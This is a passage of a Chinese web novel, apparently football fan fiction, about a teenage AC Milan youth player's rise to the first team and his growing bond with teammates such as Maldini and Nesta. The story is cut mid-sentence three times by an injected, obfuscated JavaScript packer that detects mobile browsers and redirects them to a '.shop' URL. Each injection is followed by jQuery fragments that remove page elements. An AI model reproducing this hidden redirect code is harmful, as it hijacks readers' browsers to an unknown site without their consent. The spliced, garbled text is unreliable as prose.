因为运动带来的充沛血液循环,皮肤透出健康的血色。不像晒成蜜色的肌肉那样,充满阳光的侵略性,反而有种古典油画里,人物肌肤的润泽与光彩。
他遗传了母亲那边不容易晒黑的肤质。整个夏天的户外训练,只让他裸露在外的地方变深了点,一旦训练转入室内或者休息几天,很快又会恢复成那种细腻的暖白。
当然长时间暴晒后,皮肤也会火辣辣地疼,因为不喜欢涂防护,他中招过好几次,在家里医生们(妈妈,外婆,奶奶)的建议下,洛伦佐养成了一周做一次深层皮肤护理的习惯,也会定期去她们推荐的理疗师那里报到。
那是个话不多但手法“狠毒”的中年男人,会帮他放松肌肉,检查有没有因为训练积累的细微劳损。
长年累月的鬼哭狼嚎下,洛伦佐的身体保持得异常
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265248|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“干净”和健康,每次米兰内洛的集体体检,他那份几乎挑不出毛病的报告单总会引来几声赞叹。
除了这些好事外,也有一点小烦恼,少年现在身上的毛发还是极浅的金色,没有一点加深的迹象。那点浅色在胳膊和腿上几乎看不出来,胸口也只有几根柔软的绒毛。
这让他在更衣室洗漱时显得有点……醒目。幸好洛伦佐那一头浓密的金发和形状清晰的眉毛,让他撑起了“有毛”的尊严。
一切水到渠成。就在小孩刚满十五岁不到一个月,教练组的承诺兑现了。洛伦佐·多尔切·马里诺正式升入AC米兰预备队。
离开待了三年多的U15更衣室时,费德里科他们起哄要他请客,安德烈则夸张地捂住胸口:“终于!我的扑救率有救了!”洛伦佐装模作样的大手一挥,用新学的“前辈”口气说:“小家伙们,好好练啊!”
预备队的节奏和竞争强度是U15无法比拟的。这里的球员年龄更大,身体更成熟,距离职业合同或一线队召唤仅一步之遥,竞争意识刻在每一声拼抢和每一个眼神里。
但洛伦佐适应得出奇顺利。他优秀的身体素质让他不至于在对抗中吃亏,而那种早已超越年龄的球技和球商,更是让他如鱼得水。
他可以在前锋线上鬼魅般地捕捉机会,用那些越来越难以防范的弧线球破门;也可以回撤中场,用宽阔的视野和精准的、带着想象力的传球为队友制造杀机。
新进来的小子进球效率高,却不贪功,这在荷尔蒙过剩、容易冲动、嘴巴往往比脚更臭的足球环境里,简直是一股清流。
这群年轻气盛的球员大多个性张扬,喜欢对别人耍酷耍横,但反过来,可受不了别人对自己混蛋。
洛伦佐既不耍横,也不软弱,训练认真,被开玩笑也能笑着怼回去,很快赢得了多数人的好感。
毕竟,足球圈底层逻辑之一:遇见能带你赢球又不好事儿的家伙,你就偷着乐吧!
成绩是硬道理,随后的近一年里,拥有洛伦佐的米兰预备队像一台突然上了顶级润滑油的战车,在青年联赛和杯赛中高歌猛进。他们横扫了一个又一个对手,仅仅输掉过俩场。
在那些大放异彩的比赛里,洛伦佐是这股青春风暴中最耀眼的身影。
他的踢球方式太有辨识度了。那种带着绝美弧度的传球,那些看似不可能出现的打门,还有他在场上飘忽的跑位,总能在观众以为球队要完蛋时,神奇地出现在关键位置,轻巧地将局势扭转。给所有人留下了深刻印象。
不知从哪场比赛的解说或是球迷论坛开始,“ll Fantasma Biondo”这个绰号悄然流传开来。
它精准地捕捉了洛伦佐球风中那种灵动、不可预测的特质,以及那头在奔跑时飞扬的浅金色长发。
这个绰号先是出现在青年比赛的报道边角,渐渐地在米兰资深球迷的小圈子里传开,最后,连一线队的一些球员和工作人员,也偶尔会听到这个代表着预备队超新星的名字。
一个崭新的名字,正在米兰的青训土壤里,悄然生长出锐利的轮廓。
15. 过渡+一线队
零二年十二月中旬的米兰,冷得连野猫都只肯蜷在暖气管道口,爪子都懒得伸一下。
洛伦佐满十六岁那天,训练基地更衣室里悄摸声儿多了个插着蜡烛的简易蛋糕,和他关系好的几个预备队小子凑钱买的。奶油塌了点,裱花歪得颇具抽象艺术感,但心意实实在在。
“许愿!许愿!”一群人围着他起哄,个个像乱窜的猴子。
洛伦佐装模作样地闭眼三秒,睫毛在脸颊上投下细影,然后“呼”地吹灭蜡烛。“好了,现在每人欠我一个进球助攻。”他宣布,伸手就去挖奶油。
“嘿!小子,蛋糕都不分就讨债?”加图索穿着训练服晃过来,大手毫不客气按在他脑袋上一通揉搓,揉得那头金发像被狂风扫过的蒲公英。
“里诺!”洛伦佐从那只铁钳似的手下挣扎出来,顶着一头乱毛,气得眉毛都竖起来了,“我的头发!”
加图索咧着嘴,露出一口白牙,“放心,头发多着呢。”他随手抛过来个盒子,“拿着。我自己挑的,你们这年纪的毛头小子应该都喜欢。”
是OLED版的Switch!洛伦佐抱着盒子蹦起来,“哇”字还没出口,送礼物的人已经抄着兜溜达走了,背影潇洒得很。
真正的生日晚餐在家里。
桌子被福尔图内做的大餐占得满满当当,正中间摆着斯特拉烤的柠檬蛋糕,糖霜在灯光下闪着细碎的光。意大利人都有一个大家庭,今年的生日,马里诺家也热热闹闹的。
父亲法比奥举着拍立得满场转。妈妈利贝拉抱着胸,靠在椅子上,笑得开心。吹蜡烛时,外婆照例要给他戴纸质皇冠,洛伦佐一边躲一边喊:“nonna!我都十六了,不是六岁!”
“在nonna这儿,你六十岁也是小孩。”福尔图娜塔笑眯眯地,作为退休的医生,手速可一点不减,皇冠转眼就端端正正落在外孙头顶。
冬去春来,雪化了,训练场边光秃的枝桠抽出一星半点嫩芽时,洛伦佐在预备队的进球集锦已经长得能让剪辑师揉手腕。
踢球有了种游刃有余的掌控感,好像球场是他家后院,皮球是那只叫一声就会颠颠跑过来的、养熟了的小狗。
不知道从哪次合练开始,一线队的老油条们看他时,目光里不再只有“马尔蒂尼家那小孩”的调侃。
三月中旬,天气转暖得突然。周四下午,阳光好得不像话,把草皮晒出一层油润润的光泽。一线队和预备队混编打对抗,洛伦佐对位的是卡拉泽和劳尔森。
比赛的节奏比较松散。洛伦佐在中圈附近接到回传,劳尔森已经贴上来,手臂自然地展开,像张温柔的网。他没硬闯,左脚外脚背轻巧一拨,球听话地从两人腿间缝隙溜过去,人却往反方向灵巧转身。卡拉泽补位的瞬间,洛伦佐已经用脚尖把弹起的球顺势一挑。
弧线不是常见的香蕉球,像有只无形的手在半空捏着球优雅地转了半圈,足球落在插上的队友脚边。可惜射门稍稍高出了横梁。
“嘿!”场边响起加图索的粗嗓门。他不知什么时候站在那儿,双手叉腰:“刚才那脚,蒙的吧?”
“不是啊,里诺。”洛伦佐喊加图索名字的时候,总带点孩子气的、黏糊糊的拖长音,“我算过的。”
他擦了把汗,后面扎的辫子已经松了,几缕头发散在外面。“就像你煮意大利面,”洛伦佐比着手势,“勺子搅一下,水就转出个漩涡。球也差不多,踢它的侧面,再往上提一点——”
“停停停。”加图索做出头痛的表情,“谁问你这个了!”
“那你问什么?”小孩一脸理所当然,顺便把嘴里的头发呸出来。
加图索瞪着他,半晌挥挥手,像驱赶一只喋喋不休的蜜蜂:“算了算了,跟你小子说不明白。”又转头对旁边的皮尔洛抬抬下巴,“安德烈亚,你看见没?”
皮尔洛眯着眼,像是还在回味刚才那球。他慢慢点头:“落点很舒服。”又补了句,“就是选择太冒险。”
这话被另一边的马尔蒂尼听见了。他正在活动肩膀,闻言朝皮尔洛瞥了一眼,又看向洛伦佐。
少年恰好跑过,那双矢车菊蓝的眼睛在强光下亮得晃人,对他飞快地眨了眨眼。马尔蒂尼嘴角扬了扬,摇摇头,继续拉伸。
对抗赛结束,众人三三两两往更衣室走。洛伦佐被预备队队友勾住脖子:“刚才那脚真够骚的啊 ,一线队那几个眼都直了。”
“其实还能再好点儿。”洛伦佐拧开水瓶,灌了一大口,“球要是再早点儿下坠,接球就更舒服了。”
“你还挑上了?”队友翻了个巨大的白眼,一副我就多余来的样子跑远了。
淋浴间像起了场大雾。洛伦佐冲掉身上的草屑和汗,听见隔壁传来鲁伊·科斯塔和西多夫用葡萄牙语夹杂意大利语的聊天声。他关掉水龙头,擦身体时对着雾气朦胧的镜子不由得臭美起来。
还好,没有突然冒出来的胡子茬捣乱,皮肤依旧光滑。肩膀又宽了些,锁骨的线条清晰,手臂上覆盖着一层薄而匀称的肌肉,水珠沿着脊沟滚落。
他侧过身,看见腰侧有一小块新鲜的淤青,是刚才对抗时被撞的,颜色像熟透的李子。嗯,想吃了。
“Lollo?”马尔蒂尼的声音从旁边传来。
“嗯?”洛伦佐探出头,还有些湿的头发粘在脸上。男人已经换好衣服,手里拿着车钥匙。“顺路送你?”
“好啊!”洛伦佐迅速用毛巾搓了把头,套上T恤,抓起背包跟了上去。走到车边,他很自然地拉开副驾门钻进去,动作熟稔。
马尔蒂尼开车时很专注。等红灯时,他才侧过头:“头发是不是又长了。”
少年窝在座椅里,舒舒服服地把自己摊平。
他头发没扎,已经全散下来了,又卷又蓬,凌乱的很。年纪在长,头发自然也在长,哪怕中间剪过一次,但长得快,不知不觉又到胸口了。“好像是,nonna说该剪了,但我觉得现在这样跑起来挺好玩的。”
“好玩?”马尔蒂尼觑了一眼男孩微翘的嘴唇,知道他在想什么,“跑起来像什么?”
“嘿嘿,像只金毛追自己尾巴,转圈圈那种!”洛伦佐说完,给自己乐得东倒西歪。倒过来的时候,发梢扫过座椅,带起浅淡的香味,马尔蒂尼心想,是他们之前买的洗发膏。
“不对,我才不是小狗!”小孩搓搓自己微微发酸的脸,“其实是有风的时候,头发会飞起来,而且有时候还能‘不小心’当武器用。”
马尔蒂尼望着他,眼底的笑意像花瓣落入静水,轻轻漾开:“克里斯最近也想要留长。”他轻轻开口,“说看见你踢球的时候,觉得那样很酷。”
“真的?”洛伦佐想着小猫团,“那他得先学会怎么扎头发。我第一次扎的时候,扎了个乱七八糟的草窝,费德里科笑了一整天。”
“你可以教他。”克里斯蒂安现在干什么都要先问问他的Lollo。
“没问题!包教包会,学不会免费再教,不过得用冰淇淋当学费。”
绿灯亮了,车子平稳滑入街道。离洛伦佐家越来越近,路过一个小广场时,他们看见几个裹成球的孩子在空地上踢一个褪色的皮球。
其中一个金发小男孩摔了一跤,很快爬起来,拍拍裤腿,又跌跌撞撞追着球跑去。
“像不像你小时候?”马尔蒂尼放缓车速,让人能看得更清楚。
洛伦佐看着窗外,难得有点感慨:“我比他摔得多多了。爷爷说我8岁那会儿,膝盖就没好全过,像纹了串葡萄,青一块紫一块的。”
“现在也没好到哪儿去,”男人目光扫过他大腿,“腿上撞的那块怎么样了?”
“好多啦,我可是有一整个‘医疗团队’的人!”洛伦佐骄傲挺胸,又想起什么,“对了保罗,克里斯是不是该换双新球鞋了?我上次看他那双有点挤脚。”
马尔蒂尼微怔:“他说了吗?”
“没说。但我跟他玩的时候,小脚趾那里有点皱。” Fashion的意大利人lollo觉得自己的审美比保罗还要好,“小孩子长得快,鞋子小了自己也不知道说,之后我带他去买吧。我知道有家店,鞋子做得特别舒服。”
车子缓缓停在马里诺家那栋老式庭院门口,房子里的灯光透过玻璃门,暖融融地洒出来。剪出一块橙黄的、毛茸茸的角落。
洛伦佐解开安全带,从背包里摸出个小东西:“差点忘了!给克里斯的。”
那是个用亮黄色便签纸折的青蛙,手指按一下蛙背,还能笨拙地跳一跳。
“他会喜欢的。”马尔蒂尼接过,那只青蛙瞪着用圆珠笔点出的一大一小两只眼睛,憨态可掬。“上次你折的那艘船,现在还漂在他浴缸里。”
“真的?没泡烂?”
“塑料纸折的,防水。”灰蓝色的眼睛认真地看着,很诚恳,“你很会挑材料。”
“跟我nonno学的。他超厉害的。”洛伦佐推开车门,半个身子探出去,“那我走啦!明天见!”
“明天见。”
马尔蒂尼坐在车里,注视着那道身影轻快地跑进院子里,直到完全消失。
他垂眼,看向手心里那只静默的黄色青蛙。伸出食指,轻轻按了下蛙背。
青蛙往前蹦跶了一小段,落到他身上。
他笑了笑,放好,重新发动车子。
四月的米兰,本该是春日最慷慨的时候。但零三年的四月,米兰内洛的空气里,总绷着根看不见的、越拧越紧的弦。
伤病像传染似的,一个接一个。
西多夫在阿贾克斯那场被铲得让人心头发凉,担架抬下去时居然能从那张脸上看出点泛白。
没过多久,皮尔洛在训练里和加图索撞一块,捂着膝盖倒地的那瞬间,场边所有教练的脸都黑了。
更衣室的气氛明显沉了下去。以往赛前总有人放点吵吵闹闹的流行乐,现在只剩鞋子摩擦地板和绷带撕开的窸窣声。
冰袋消耗得飞快,理疗室门口总排着人。空气里弥漫着淡淡的药膏和焦虑混合的味道。
安切洛蒂的眉头越皱越紧。他站在办公室窗前,能看见楼下训练场,一线队在做恢复性训练,人稀稀拉拉。而隔壁预备队的场地倒是满满当当。
他的目光不由自主追着其中一个身影。洛伦佐正在做折返跑,长发在脑后飞扬。
和队友撞墙配合后一脚推射,球贴柱入网,几个预备队小子欢呼着扑上去揉他脑袋,他边笑边躲,却不小心自己绊了自己一下,一屁股坐在草皮上。
“卡尔洛。”助理教练塔索蒂推门进来,手里拿着刚更新的体检报告,“医疗组那边……”
“还是那句?”安切洛蒂没回头。
“差不多。”塔索蒂走到窗边,和他一起看着楼下,“那孩子壮得像头小牛。布罗姆说,他现在的身体状态,比队里好些人都强。”
安切洛蒂想起上周的训练赛,洛伦佐被科斯塔库塔撞了一下,踉跄几步,转身就把球传出去了,弧线非常漂亮。老比利当时都愣了下,赛后拍着洛伦佐的肩说:“小子,骨头挺硬。”
“而且他稳得住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265249|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”塔索蒂继续说,“不像有些年轻人,一有点表现就飘。你看他,该训练训练,该加练加练,跟谁都处得来。”
安切洛蒂当然知道。他知道加图索虽然嘴上总嫌洛伦佐话说的让人听不懂,但吃饭时会顺手多拿个苹果扔给他;知道因扎吉时不时就拉着洛伦佐加练射门,两人在禁区里嘀嘀咕咕不知道在说什么;知道马尔蒂尼……马尔蒂尼看洛伦佐的眼神,有时候都让他起鸡皮疙瘩。
他走到战术白板前,上面贴满了密密麻麻的赛程和球员状态标签。代表伤病的红色记号越来越多,刺眼地连成一片。
他想起去年夏天,贝卢斯科尼主席来基地视察,看完一场内部训练赛,状似随意地指着场上的洛伦佐,对身边的安切洛蒂说:“卡尔洛,我们仓库里是不是藏着颗还没打磨的钻石?总得偶尔拿出来晒晒太阳,才知道成色到底如何,对吧?”
安切洛蒂当时笑呵呵的,用“还小,还嫩,需要保护”之类的车轱辘话应付了过去。
他喜欢洛伦佐,真心喜欢。这孩子有种不招人烦的灵气,训练不叫苦,还不像有些天才那么刺头。
但喜欢归喜欢,责任是另一回事。那时候小家伙才十五岁多,骨头都没完全长硬,意甲是什么地方?那是肌肉森林,是战术绞肉机,是无数天才折戟沉沙的战场。
他不能为了一场亮相,赌上这孩子无比璀璨的未来。医疗报告再漂亮,体检数据再完美,也抵不过一次凶狠的背后铲抢。
但现在,他的球队需要新鲜血液。不是随便什么血液,是健康的、强韧的、骨子里还不知道“畏惧”二字怎么写的血液。
四月中旬的某个下午,安切洛蒂把医疗主管布罗姆医生叫到办公室。老头儿头发花白,说话慢条斯理。
“我就问一句,”安切洛蒂语气是罕见的严肃,“如果我们现在把洛伦佐·马里诺放进一线队名单,专业的讲,他的身体扛得住吗?”
布罗姆推了推眼镜:“卡尔洛,我是医生,不是预言家。但以他目前的状况,应对比赛的受伤风险,并不比队里那些累坏了的球员高。”他稍顿,“那孩子被照顾得很好。他结实得很。”
安切洛蒂吐了口气。他走到窗边,再次看向训练场。
预备队的训练结束了,洛伦佐没急着走,一个人留在那儿加练任意球,不是磨叽后的补训。球摆在禁区弧顶,他退后几步,深呼吸,助跑,摆腿——球绕过假想的人墙,旋进球网。
夕阳把他的影子拉得很长。进球后,他对着空气比了个“耶”,跑去捡球的样子像只不知疲倦的小鹿。
第二天,4月17日,上午的战术会议结束后,安切洛蒂让塔索蒂去预备队叫洛伦佐。
少年进来时头发散着,几缕卷发贴在额角,大概是刚冲完澡,身上带着清爽的、像海盐混着薄荷的沐浴露味道。
他穿着最简单的灰色训练服,拉链没拉到头,露出里面白色短袖的领边。耳朵上那对小小的钻石耳钉,在办公室的灯光下微微反光。配上现在一米八的身高,像个迷路到这儿的好莱坞大明星。
“坐。”安切洛蒂指指对面的椅子。
椅子看起来就软乎,洛伦佐开开心心坐下,心态放松,好像只是来聊聊天。
安切洛蒂看着眼前这张轮廓锐而不僵、线条干净舒展的脸,用平常的语气说:“从明天开始,你跟着一线队训练,正式跟队,不是偶尔合练的那种。”
说完,他好整以暇地靠向椅背,准备欣赏对面的反应。
洛伦佐刚开始没反应过来,整个人还停留在那种松弛的状态里,毕竟自己最近又没闯什么需要被约谈的大祸。
等脑子处理完安切洛蒂的话后,眼睛都睁圆了,嘴角不由自主地往上勾,很快又被手动扒拉下来,强行绷住了:“没问题,教练!”
“不问问为什么?”安切洛蒂欣赏完这幅表演后,又有点意外。
“因为队里现在缺人呀。”洛伦佐回答得很坦率,“而且您看了我这么久,总得试试货,对吧?”
安胖胖差点被自己的口水呛到。他瞪着眼前这个笑嘻嘻的少年:“试试货?”
“对啊。”洛伦佐看着可开朗了,“就像我nonno去市场买面料,光看花纹可不行,总得摸一摸,扯一扯,看看它到底结不结实。您现在不就想‘扯一扯’我嘛。”
老天啊,安切洛蒂抬起双手,用力的搓了一把脸。“传言不假。”他低声嘟囔,感觉自己的嘴角也不听使唤地向上弯,“你平时都怎么跟其他人说话的?”
“就这样正常说话啊。”洛伦佐歪了歪头,亚平宁半岛的阳光都比不上他此刻的灿烂。
“我能想象。”安切洛蒂靠回椅背,挥挥手,像在驱散空气中过于活跃的分子,“出去吧。明天别迟到,还有,把你那些奇思妙想都带上。一线队可不像预备队那么客气。”
“明白!”洛伦佐站起身,走到门口,又转回来,扒着门框探进半个身子,“教练。”
“嗯?”
“谢谢您。”少年笑着说,笑容干净明亮,“我会好好‘被扯’的。保证不散架。”
门轻轻关上。安切洛蒂独自坐在宽大的办公椅里,听见外面走廊传来隐约的、轻快的脚步声,还有声愉悦的口哨。
他转过椅子。
窗外,春日的阳光慷慨地洒满整个米兰内洛,每一片草叶都绿得发亮,绿得充满不管不顾的生机。
他想,或许有些种子,自己知道什么时候该破土。它们甚至会在顶开泥土的前一刻,自己给自己来上一段轻快的小调。
16. 熟悉的陌生人
洛伦佐从安切洛蒂的办公室出来,没急着往餐厅冲。
晋升一线队的兴奋像气泡水在血管里轻轻炸开,他顺着走廊慢悠悠地晃,脚尖偶尔踢一下空气,小声哼着不成调的曲子,脑子里已经上演了十几种安切洛蒂可能“扯”他的方式——希望别是让里诺一对一盯防,那跟被坦克碾过没什么区别。
刚拐过一个弯,他就停住了。
餐厅那头的光漫出来,在走廊地上铺出一块亮堂堂的地方。就在那片光亮边缘,一个人背靠着墙,双手插在训练服兜里,一条腿曲着,鞋底抵着墙面,正偏头看着窗外。
是亚历山德罗·内斯塔。
洛伦佐有点意外,内斯塔吃饭总是到得早,这家伙转会过来头一两个月,心情差得脸上都挂相,谁都能看出来他难受,吃得也比传闻中的少,可他还是雷打不动的头几个进餐厅的人之一。
两个人的关系不远也不近。合练的时候,洛伦佐踢前锋,自然得跟这位新来的、但已经是世界顶级的中卫过招。场上是真刀真枪地拼,场下也就是碰见了点点头,说声“Ciao”的交情。
洛伦佐没打算深究人家今天怎么还戳在这儿。他扬起手,准备照例打个招呼就过去。“Ciao, Sandro.(你好,桑德罗)”
内斯塔听见声音,转过头。
光从侧面打过来,让他那张本就立体的脸显得轮廓更深了。颧骨突出,眼窝下有淡淡的阴影,瘦了不少,那股古典雕塑般的俊美里,掺进了一种锋利的、甚至称得上“艳丽”的疲惫。
好像一株被精心移植却还没扎稳根的树,枝叶还在,精气神却漏了些。
他看见洛伦佐,好像也顿了一下,然后,居然迈步走了过来。
“Ciao, Lorenzo.” 内斯塔的声音有点低,等走近了,洛伦佐才发现对方脸上挂着点不太自然的神情,像是有点不好意思,又强作镇定。
内斯塔清了清嗓子,眼睛没完全看洛伦佐,而是稍微偏开一点,看着旁边的墙壁,语速比平时快了些:“那个……我问一下。科莫大街中段,转角那家叫‘La Dolce Vita’的小餐馆……是你爷爷开的吗?”
洛伦佐更意外了,惊讶明明白白写在脸上:“是啊。你怎么知道?”
内斯塔像是松了口气,又像是更局促了。他下意识地用舌头舔了下有点干的嘴唇:“我去吃过。味道很好。”他的声音低下去一点,“在罗马的时候就听人说过。”
这话是真的。还在拉齐奥的时候,内斯塔就是“拉齐奥的孩子”,从青训营一路长起来,为一线队戴上队长袖标,给蓝鹰带回奖杯。
那时候他是整个罗马城那半边天空的宠儿。队里的老大哥、本地的老球迷,个个都把他当自家孩子看。
有个吃了一辈子、嘴巴刁钻的老球迷,有次神神秘秘地跟他说:“桑德罗,米兰城里有家小餐馆,不起眼,但吃了能让你咬掉舌头。”说的就是“La Dolce Vita”。
他后来逮着机会,专门跑去米兰尝了一次。就一次,胃和心都被俘虏了。那味道扎实,温暖,不讲什么花哨的排场,就是实打实的好吃,特别对他的胃口。
可惜太远,只能偶尔在假期或客场比赛前后,绕路过去解解馋。
他记得那家餐馆干干净净的,墙上除了几幅风景画,还挂着一个不大的AC米兰队徽镜框,和一副泛黄的、贝卢斯科尼早期和球队的合影。他当时想,哦,老板是米兰球迷。难怪。
因为他每次去都点得多,前菜、头盘、主菜、配菜、甜品,能塞进肚子的他基本都想试试,而且盘盘干净。
加上他那张在意大利足球圈里无人不识的脸,福尔图内老爷子自然记住了这个高大、英俊、吃饭异常认真的年轻后卫。
后来有一次,下午四五点钟,餐馆里快打烊了,就剩一两个客人在慢悠悠喝咖啡。
内斯塔吃完自己那一大桌,磨蹭了一会儿,等人都走了,才走到柜台边。面对笑容和蔼的老先生,他难得地有些扭捏,问能不能点一份罗马式洋蓟和一份烤牛排,打包带走。
这时候米兰的外卖可不像后世那么稀松平常。快餐、披萨打包常见,但正经餐馆的菜品,尤其是这样需要趁热吃、讲究火候的菜,默认是在店里享用。提出这要求,内斯塔自己都觉得有点过分。
福尔图内却只是擦了擦手,笑呵呵的,一点没觉得麻烦:“当然可以,小伙子。不过你现在急着要走吗?要是不急,等我把这儿收拾一下,给你现做。打包的菜,味道总要打点折扣,现做现吃最好,哪怕等会儿带走呢。”
内斯塔本来就不急,赶紧摇头:“不急不急,您慢慢来,我等着就行。”
于是,那天下午,空旷安静的小餐馆里,就剩下他们一老一少。福尔图内在开放式厨房里忙活,内斯塔就坐在离厨房最近的椅子上看着。
老爷子手上利索,嘴里也没闲着,跟他闲聊。聊天气,聊足球,自然而然就聊到了家里。
“我有个孙子,也在踢球。”福尔图内一边给洋蓟剥着老叶,一边说,语气里是藏不住的笑意和疼爱,“在米兰的青年队里。小家伙,皮得很。”
他没说名字,一直说的“Lollo”。所以内斯塔听着那些趣事:比如Lollo小时候非要给家里的盆栽理发,结果剪秃了半边。
比如第一次做煎蛋把蛋壳全掉进了锅里还试图捞出来。再大一点,在社区比赛里进了球兴奋得满场跑,结果被自己鞋带绊了个大马趴。
内斯塔只觉得是个挺活泼、偶尔犯傻但心地不坏的普通男孩。他想,老爷子嘛,看自家孙子当然哪哪都好,不过听起来,这Lollo至少不是那种惹是生非的坏小子。
自那以后,内斯塔再去小餐馆,除了埋头苦吃,偶尔也会和福尔图内聊上几句。
只是阴差阳错,他每次去,都完美错过了同样可能去店里吃饭或看爷爷的洛伦佐。
直到他被迫换上了红黑间条衫。
转会初期的巨大失落和难以排解的郁结占据了他绝大部分心神,他哪还有心思去注意一个预备队的小孩。
是后来,大概今年年初,他在训练场边,偶然听到马尔蒂尼喊了一声“Lollo”,然后那个金头发的预备队小子就应声跑过去。
他心里动了一下,又找机会问了别人,才知道那孩子的全名是洛伦佐·多尔切·马里诺。
两个名字对上了号。
可知道了又怎样呢?
他,亚历山德罗·内斯塔,九岁踏入拉齐奥青训营,把所有的热血、忠诚、青春岁月都毫无保留地献给了蓝鹰,如今却站在了另一家俱乐部的屋檐下。
这感觉像什么呢?像心里被人生生挖走了一块最软最热的东西,剩下的地方空落落、凉飕飕的,灌满了米兰阴冷的冬风。
他自觉是个职业球员,训练比赛从不含糊,该拼抢拼抢,该配合配合,可明眼人都看得出来,他的心还没完全迁徙过来,还在某个地方飘着。他自己也知道。
洛伦佐是彻头彻尾的米兰产物,从根须到枝叶都浸润着红黑色,根正苗红的米兰青训。
面对这样一个几乎象征着“米兰”本身的年轻队友,内斯塔心里那点没说出口的抵触和别扭,让他不知该怎么开口。
难道走过去说“嘿,我知道你八岁试图用球砸树上的果子,结果球反弹,给自己脑门砸了个大包吗?
所以这事儿就一直搁着。
他还是会偶尔去“La Dolce Vita”,坐在老位置,听福尔图内用骄傲又调侃的语气,说着“Lollo最近好像又长高了”、“Lollo说预备队教练夸他头球有进步”之类的零星消息。
他听着,感觉那个由老人言语描绘出的、活泼又有点莽撞的少年形象,与训练场上那个球风灵动飘逸、笑起来眼睛弯弯的身影,正一点点缓慢地重叠。
时间慢慢熬人,也慢慢治人。
冬日的阴霾渐渐被春日不甚稳定的阳光驱散,穿着红黑色训练服从最初的不适变成了日常习惯,更衣室里加图索的大嗓门和马尔蒂尼低沉的话语也听习惯了。
心底对拉齐奥的挚爱与离痛丝毫未减,那是刻进骨血里的东西。但身为一个顶级球员的骄傲与理性,也在催促他:你得站稳,你得往前走,你得融入你现在站立的地方。
无论从球队整体的角度,还是从他个人那点不肯轻易妥协的自尊心出发,他都得尝试推开那扇一直虚掩着的门。
而洛伦佐,似乎就是站在门外最合适的那个人。他们之间有那么一点奇特的、通过一位老人建立起来的私人连接,却又还没有任何直接的、可能产生压力的队友交情。
于是今天,他特意提前去了餐厅,想“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265250|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偶遇”。结果左等右等,没见人影。他只好匆匆吃了点,胃口比起在罗马时,确实还差着一截,然后拦住看起来跟那小子关系还不错的因扎吉:“看见洛伦佐了吗?”
因扎吉有点惊讶地看他一眼,大概是奇怪到了米兰后一直蔫到现在的内斯塔怎么突然要找小孩:“他啊,被卡尔洛叫去办公室了,还没过来呢。怎么,桑德罗,今天胃口回来了?”
内斯塔含糊地应了一声,转身就往外走。他想着去办公楼附近碰碰运气,没想到,刚走到这条连接两栋楼的走廊,那个他要找的人就自己撞进了视线。
这简直就像是命运——以前总是错过的人,如今转眼就遇见了。
此刻,面对洛伦佐那双带着惊讶和好奇的眼睛,内斯塔把心里那些弯弯绕绕都压了下去。回忆带来的熟悉感,让他放松了不少。
“马里诺先生提过你,只不过他总叫你‘Lollo’。”内斯塔说,尽量让语气别跟回忆里的老人家一样慈祥,“他说你是个好孩子。在青训营踢球。”
“所以——”洛伦佐拖长了声音,忽然明白了什么,“你早就知道‘Lollo’,但直到最近,才知道‘Lollo’就是我?”
内斯塔点了点头,神情有些复杂。“我不知道该怎么……开口。感觉像是,我单方面知道了很多你的事,甚至知道你小时候因为好奇舔了冰块,结果舌头被粘住,哭得惊天动地……”
“拜托!这个可以不用记得那么清楚!”洛伦佐捂住脸,从指缝里哀嚎。
内斯塔笑了下,那笑声很短,却让周围的空气都松快了些。“抱歉。”他说,语气里并没有多少歉意,反而有种分享秘密的熟稔,“总之,感觉很奇怪。那时候,你应该还不知道我。”
男孩脸上的害羞迅速转化为了得意:“啊哈!我可太知道了!nonno跟我说起过,有个‘特别能吃的、长得特别俊的罗马后卫’常去店里!”他模仿着福尔图内略带托斯卡纳口音的夸张语气,惟妙惟肖,眼睛笑得眯起来。
内斯塔被这个形容弄得耳根有点发热,尤其是“特别俊”那部分。他不自在地抬手蹭了下鼻尖,掩饰那一瞬间的局促。
洛伦佐却已经顺着话头热络地说了下去:“nonno做的菜是不是很棒?他总嫌俱乐部营养餐味道寡淡,我每次回家,他都变着法子给我做好吃的,好像我在外面受了多大苦似的。”他眨眨眼,“你最喜欢他做的什么?”
“都很好。”内斯塔说,这话发自真心,“尤其是罗马风味的菜,很地道。”
他看着洛伦佐毫无阴霾的笑脸,很奇怪,莫名的让人有种倾诉欲。“我……我刚来米兰的时候,心情不太好。去店里吃点熟悉的味道,算是……一点安慰。”
这话说得坦诚,甚至有点超过了内斯塔心里预设的尺度。但他觉得,面对这个被福尔图内那样疼爱着、描述着的Lollo,或许可以稍微放下一点防备。
